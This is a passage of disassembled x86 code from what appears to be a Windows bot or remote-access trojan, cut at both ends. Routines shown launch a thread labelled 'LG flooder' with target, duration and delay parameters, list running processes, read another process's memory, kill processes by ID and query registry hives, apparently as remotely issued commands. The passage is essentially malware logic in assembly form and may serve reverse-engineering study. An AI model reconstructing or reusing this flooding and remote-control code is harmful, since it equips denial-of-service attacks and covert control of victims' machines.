loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: .data:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E2B0 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2AC, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A0, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A4, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A8, eax cmp dword_41E2AC, 0 jz short locret_40603F cmp dword_41E2A0, 0 jz short locret_40603F cmp dword_41E2A4, 0 jz short locret_40603F cmp dword_41E2A8, 0 jz short locret_40603F mov byte_41E2CC, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E2B0 call sub_409C6C pop ecx movzx eax, byte_41E2CC test eax, eax jnz short loc_406074 push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E2AC test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E2A0 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E2A8 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE30 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E2A4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E2B0 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch 